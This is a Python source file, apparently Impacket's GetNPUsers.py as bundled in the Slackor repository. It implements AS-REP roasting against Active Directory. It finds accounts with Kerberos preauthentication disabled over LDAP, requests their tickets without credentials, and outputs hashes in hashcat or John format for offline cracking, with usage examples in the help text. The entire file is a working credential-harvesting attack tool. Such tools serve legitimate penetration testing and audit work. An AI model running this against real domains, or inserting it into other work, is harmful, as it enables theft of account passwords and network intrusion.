github.com/n00py/Slackor@v0.0.0-20200610224921-d007fcea1740/impacket/examples/GetNPUsers.py (about)

     1  #!/usr/bin/env python
     2  # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
     3  #
     4  # This software is provided under under a slightly modified version
     5  # of the Apache Software License. See the accompanying LICENSE file
     6  # for more information.
     7  #
     8  # Author:
     9  #  Alberto Solino (@agsolino)
    10  #
    11  # Description:
    12  #    This script will attempt to list and get TGTs for those users that have the property
    13  #    'Do not require Kerberos preauthentication' set (UF_DONT_REQUIRE_PREAUTH).
    14  #    For those users with such configuration, a John The Ripper output will be generated so
    15  #    you can send it for cracking.
    16  #
    17  #    Original credit for this technique goes to @harmj0y:
    18  #    https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/
    19  #    Related work by Geoff Janjua:
    20  #    https://www.exumbraops.com/layerone2016/party
    21  #
    22  #    For usage instructions run the script with no parameters
    23  #
    24  # ToDo:
    25  #
    26  from __future__ import division
    27  from __future__ import print_function
    28  import argparse
    29  import datetime
    30  import logging
    31  import random
    32  import sys
    33  from binascii import hexlify
    34  
    35  from pyasn1.codec.der import decoder, encoder
    36  from pyasn1.type.univ import noValue
    37  
    38  from impacket import version
    39  from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_DONT_REQUIRE_PREAUTH
    40  from impacket.examples import logger
    41  from impacket.krb5 import constants
    42  from impacket.krb5.asn1 import AS_REQ, KERB_PA_PAC_REQUEST, KRB_ERROR, AS_REP, seq_set, seq_set_iter
    43  from impacket.krb5.kerberosv5 import sendReceive, KerberosError
    44  from impacket.krb5.types import KerberosTime, Principal
    45  from impacket.ldap import ldap, ldapasn1
    46  from impacket.smbconnection import SMBConnection
    47  
    48  class GetUserNoPreAuth:
    49      @staticmethod
    50      def printTable(items, header):
    51          colLen = []
    52          for i, col in enumerate(header):
    53              rowMaxLen = max([len(row[i]) for row in items])
    54              colLen.append(max(rowMaxLen, len(col)))
    55  
    56          outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)])
    57  
    58          # Print header
    59          print(outputFormat.format(*header))
    60          print('  '.join(['-' * itemLen for itemLen in colLen]))
    61  
    62          # And now the rows
    63          for row in items:
    64              print(outputFormat.format(*row))
    65  
    66      def __init__(self, username, password, domain, cmdLineOptions):
    67          self.__username = username
    68          self.__password = password
    69          self.__domain = domain
    70          self.__lmhash = ''
    71          self.__nthash = ''
    72          self.__no_pass = cmdLineOptions.no_pass
    73          self.__outputFileName = cmdLineOptions.outputfile
    74          self.__outputFormat = cmdLineOptions.format
    75          self.__usersFile = cmdLineOptions.usersfile
    76          self.__aesKey = cmdLineOptions.aesKey
    77          self.__doKerberos = cmdLineOptions.k
    78          self.__requestTGT = cmdLineOptions.request
    79          self.__kdcHost = cmdLineOptions.dc_ip
    80          if cmdLineOptions.hashes is not None:
    81              self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':')
    82  
    83          # Create the baseDN
    84          domainParts = self.__domain.split('.')
    85          self.baseDN = ''
    86          for i in domainParts:
    87              self.baseDN += 'dc=%s,' % i
    88          # Remove last ','
    89          self.baseDN = self.baseDN[:-1]
    90  
    91      def getMachineName(self):
    92          if self.__kdcHost is not None:
    93              s = SMBConnection(self.__kdcHost, self.__kdcHost)
    94          else:
    95              s = SMBConnection(self.__domain, self.__domain)
    96          try:
    97              s.login('', '')
    98          except Exception:
    99              if s.getServerName() == '':
   100                  raise Exception('Error while anonymous logging into %s')
   101          else:
   102              s.logoff()
   103          return s.getServerName()
   104  
   105      @staticmethod
   106      def getUnixTime(t):
   107          t -= 116444736000000000
   108          t /= 10000000
   109          return t
   110  
   111      def getTGT(self, userName, requestPAC=True):
   112  
   113          clientName = Principal(userName, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
   114  
   115          asReq = AS_REQ()
   116  
   117          domain = self.__domain.upper()
   118          serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
   119  
   120          pacRequest = KERB_PA_PAC_REQUEST()
   121          pacRequest['include-pac'] = requestPAC
   122          encodedPacRequest = encoder.encode(pacRequest)
   123  
   124          asReq['pvno'] = 5
   125          asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value)
   126  
   127          asReq['padata'] = noValue
   128          asReq['padata'][0] = noValue
   129          asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
   130          asReq['padata'][0]['padata-value'] = encodedPacRequest
   131  
   132          reqBody = seq_set(asReq, 'req-body')
   133  
   134          opts = list()
   135          opts.append(constants.KDCOptions.forwardable.value)
   136          opts.append(constants.KDCOptions.renewable.value)
   137          opts.append(constants.KDCOptions.proxiable.value)
   138          reqBody['kdc-options'] = constants.encodeFlags(opts)
   139  
   140          seq_set(reqBody, 'sname', serverName.components_to_asn1)
   141          seq_set(reqBody, 'cname', clientName.components_to_asn1)
   142  
   143          if domain == '':
   144              raise Exception('Empty Domain not allowed in Kerberos')
   145  
   146          reqBody['realm'] = domain
   147  
   148          now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
   149          reqBody['till'] = KerberosTime.to_asn1(now)
   150          reqBody['rtime'] = KerberosTime.to_asn1(now)
   151          reqBody['nonce'] = random.getrandbits(31)
   152  
   153          supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),)
   154  
   155          seq_set_iter(reqBody, 'etype', supportedCiphers)
   156  
   157          message = encoder.encode(asReq)
   158  
   159          try:
   160              r = sendReceive(message, domain, self.__kdcHost)
   161          except KerberosError as e:
   162              if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
   163                  # RC4 not available, OK, let's ask for newer types
   164                  supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),
   165                                      int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),)
   166                  seq_set_iter(reqBody, 'etype', supportedCiphers)
   167                  message = encoder.encode(asReq)
   168                  r = sendReceive(message, domain, self.__kdcHost)
   169              else:
   170                  raise e
   171  
   172          # This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the
   173          # 'Do not require Kerberos preauthentication' set
   174          try:
   175              asRep = decoder.decode(r, asn1Spec=KRB_ERROR())[0]
   176          except:
   177              # Most of the times we shouldn't be here, is this a TGT?
   178              asRep = decoder.decode(r, asn1Spec=AS_REP())[0]
   179          else:
   180              # The user doesn't have UF_DONT_REQUIRE_PREAUTH set
   181              raise Exception('User %s doesn\'t have UF_DONT_REQUIRE_PREAUTH set' % userName)
   182  
   183          if self.__outputFormat == 'john':
   184              # Let's output the TGT enc-part/cipher in John format, in case somebody wants to use it.
   185              return '$krb5asrep$%s@%s:%s$%s' % (clientName, domain,
   186                                                 hexlify(asRep['enc-part']['cipher'].asOctets()[:16]).decode(),
   187                                                 hexlify(asRep['enc-part']['cipher'].asOctets()[16:]).decode())
   188          else:
   189              # Let's output the TGT enc-part/cipher in Hashcat format, in case somebody wants to use it.
   190              return '$krb5asrep$%d$%s@%s:%s$%s' % ( asRep['enc-part']['etype'], clientName, domain,
   191                                                     hexlify(asRep['enc-part']['cipher'].asOctets()[:16]).decode(),
   192                                                     hexlify(asRep['enc-part']['cipher'].asOctets()[16:]).decode())
   193  
   194      @staticmethod
   195      def outputTGT(entry, fd=None):
   196          if fd is None:
   197              print(entry)
   198          else:
   199              fd.write(entry + '\n')
   200  
   201      def run(self):
   202          if self.__doKerberos:
   203              target = self.getMachineName()
   204          else:
   205              if self.__kdcHost is not None:
   206                  target = self.__kdcHost
   207              else:
   208                  target = self.__domain
   209  
   210          if self.__usersFile:
   211              self.request_users_file_TGTs()
   212              return
   213  
   214  
   215          # Are we asked not to supply a password?
   216          if self.__no_pass is True:
   217              # Yes, just ask the TGT and exit
   218              logging.info('Getting TGT for %s' % self.__username)
   219              entry = self.getTGT(self.__username)
   220              self.outputTGT(entry, None)
   221              return
   222  
   223          # Connect to LDAP
   224          try:
   225              ldapConnection = ldap.LDAPConnection('ldap://%s' % target, self.baseDN, self.__kdcHost)
   226              if self.__doKerberos is not True:
   227                  ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
   228              else:
   229                  ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
   230                                               self.__aesKey, kdcHost=self.__kdcHost)
   231          except ldap.LDAPSessionError as e:
   232              if str(e).find('strongerAuthRequired') >= 0:
   233                  # We need to try SSL
   234                  ldapConnection = ldap.LDAPConnection('ldaps://%s' % target, self.baseDN, self.__kdcHost)
   235                  if self.__doKerberos is not True:
   236                      ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
   237                  else:
   238                      ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
   239                                                   self.__aesKey, kdcHost=self.__kdcHost)
   240              else:
   241                  # Cannot authenticate, we will try to get this users' TGT (hoping it has PreAuth disabled)
   242                  logging.info('Cannot authenticate %s, getting its TGT' % self.__username)
   243                  entry = self.getTGT(self.__username)
   244                  self.outputTGT(entry, None)
   245                  return
   246  
   247  
   248          # Building the search filter
   249          searchFilter = "(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)" \
   250                         "(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))" % \
   251                         (UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE)
   252  
   253          try:
   254              logging.debug('Search Filter=%s' % searchFilter)
   255              resp = ldapConnection.search(searchFilter=searchFilter,
   256                                           attributes=['sAMAccountName',
   257                                                       'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'],
   258                                           sizeLimit=999)
   259          except ldap.LDAPSearchError as e:
   260              if e.getErrorString().find('sizeLimitExceeded') >= 0:
   261                  logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received')
   262                  # We reached the sizeLimit, process the answers we have already and that's it. Until we implement
   263                  # paged queries
   264                  resp = e.getAnswers()
   265                  pass
   266              else:
   267                  raise
   268  
   269          answers = []
   270          logging.debug('Total of records returned %d' % len(resp))
   271  
   272          for item in resp:
   273              if isinstance(item, ldapasn1.SearchResultEntry) is not True:
   274                  continue
   275              mustCommit = False
   276              sAMAccountName =  ''
   277              memberOf = ''
   278              pwdLastSet = ''
   279              userAccountControl = 0
   280              lastLogon = 'N/A'
   281              try:
   282                  for attribute in item['attributes']:
   283                      if str(attribute['type']) == 'sAMAccountName':
   284                          sAMAccountName = str(attribute['vals'][0])
   285                          mustCommit = True
   286                      elif str(attribute['type']) == 'userAccountControl':
   287                          userAccountControl = "0x%x" % int(attribute['vals'][0])
   288                      elif str(attribute['type']) == 'memberOf':
   289                          memberOf = str(attribute['vals'][0])
   290                      elif str(attribute['type']) == 'pwdLastSet':
   291                          if str(attribute['vals'][0]) == '0':
   292                              pwdLastSet = '<never>'
   293                          else:
   294                              pwdLastSet = str(datetime.datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
   295                      elif str(attribute['type']) == 'lastLogon':
   296                          if str(attribute['vals'][0]) == '0':
   297                              lastLogon = '<never>'
   298                          else:
   299                              lastLogon = str(datetime.datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
   300                  if mustCommit is True:
   301                      answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl])
   302              except Exception as e:
   303                  logging.debug("Exception:", exc_info=True)
   304                  logging.error('Skipping item, cannot process due to error %s' % str(e))
   305                  pass
   306  
   307          if len(answers)>0:
   308              self.printTable(answers, header=[ "Name", "MemberOf", "PasswordLastSet", "LastLogon", "UAC"])
   309              print('\n\n')
   310  
   311              if self.__requestTGT is True:
   312                  usernames = [answer[0] for answer in answers]
   313                  self.request_multiple_TGTs(usernames)
   314  
   315          else:
   316              print("No entries found!")
   317  
   318      def request_users_file_TGTs(self):
   319  
   320          with open(self.__usersFile) as fi:
   321              usernames = [line.strip() for line in fi]
   322  
   323          self.request_multiple_TGTs(usernames)
   324  
   325      def request_multiple_TGTs(self, usernames):
   326          if self.__outputFileName is not None:
   327              fd = open(self.__outputFileName, 'w+')
   328          else:
   329              fd = None
   330          for username in usernames:
   331              try:
   332                  entry = self.getTGT(username)
   333                  self.outputTGT(entry, fd)
   334              except Exception as e:
   335                  logging.error('%s' % str(e))
   336          if fd is not None:
   337              fd.close()
   338  
   339  
   340  
   341  # Process command-line arguments.
   342  if __name__ == '__main__':
   343      # Init the example's logger theme
   344      logger.init()
   345      print(version.BANNER)
   346  
   347      parser = argparse.ArgumentParser(add_help = True, description = "Queries target domain for users with "
   348                                    "'Do not require Kerberos preauthentication' set and export their TGTs for cracking")
   349  
   350      parser.add_argument('target', action='store', help='domain/username[:password]')
   351      parser.add_argument('-request', action='store_true', default='False', help='Requests TGT for users and output them '
   352                                                                                 'in JtR/hashcat format (default False)')
   353      parser.add_argument('-outputfile', action='store',
   354                          help='Output filename to write ciphers in JtR/hashcat format')
   355  
   356      parser.add_argument('-format', choices=['hashcat', 'john'], default='hashcat',
   357                          help='format to save the AS_REQ of users without pre-authentication. Default is hashcat')
   358  
   359      parser.add_argument('-usersfile', help='File with user per line to test')
   360  
   361      parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
   362  
   363      group = parser.add_argument_group('authentication')
   364  
   365      group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
   366      group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
   367      group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
   368                                                         '(KRB5CCNAME) based on target parameters. If valid credentials '
   369                                                         'cannot be found, it will use the ones specified in the command '
   370                                                         'line')
   371      group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
   372                                                                              '(128 or 256 bits)')
   373      group.add_argument('-dc-ip', action='store',metavar = "ip address",  help='IP Address of the domain controller. If '
   374                                                                                'ommited it use the domain part (FQDN) '
   375                                                                                'specified in the target parameter')
   376  
   377      if len(sys.argv)==1:
   378          parser.print_help()
   379          print("\nThere are a few modes for using this script")
   380          print("\n1. Get a TGT for a user:")
   381          print("\n\tGetNPUsers.py contoso.com/john.doe -no-pass")
   382          print("\nFor this operation you don\'t need john.doe\'s password. It is important tho, to specify -no-pass in the script, "
   383                "\notherwise a badpwdcount entry will be added to the user")
   384          print("\n2. Get a list of users with UF_DONT_REQUIRE_PREAUTH set")
   385          print("\n\tGetNPUsers.py contoso.com/emily:password or GetNPUsers.py contoso.com/emily")
   386          print("\nThis will list all the users in the contoso.com domain that have UF_DONT_REQUIRE_PREAUTH set. \nHowever "
   387                "it will require you to have emily\'s password. (If you don\'t specify it, it will be asked by the script)")
   388          print("\n3. Request TGTs for all users")
   389          print("\n\tGetNPUsers.py contoso.com/emily:password -request or GetNPUsers.py contoso.com/emily")
   390          print("\n4. Request TGTs for users in a file")
   391          print("\n\tGetNPUsers.py contoso.com/ -no-pass -usersfile users.txt")
   392          print("\nFor this operation you don\'t need credentials.")
   393          sys.exit(1)
   394  
   395      options = parser.parse_args()
   396  
   397      if options.debug is True:
   398          logging.getLogger().setLevel(logging.DEBUG)
   399      else:
   400          logging.getLogger().setLevel(logging.INFO)
   401  
   402      import re
   403      # This is because I'm lazy with regex
   404      # ToDo: We need to change the regex to fullfil domain/username[:password]
   405      targetParam = options.target+'@'
   406      domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(targetParam).groups('')
   407  
   408      #In case the password contains '@'
   409      if '@' in address:
   410          password = password + '@' + address.rpartition('@')[0]
   411          address = address.rpartition('@')[2]
   412  
   413      if domain is '':
   414          logging.critical('Domain should be specified!')
   415          sys.exit(1)
   416  
   417      if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
   418          from getpass import getpass
   419          password = getpass("Password:")
   420  
   421      if options.aesKey is not None:
   422          options.k = True
   423  
   424      if options.outputfile is not None:
   425          options.request = True
   426  
   427      try:
   428          executer = GetUserNoPreAuth(username, password, domain, options)
   429          executer.run()
   430      except Exception as e:
   431          logging.debug("Exception:", exc_info=True)
   432          logging.error(str(e))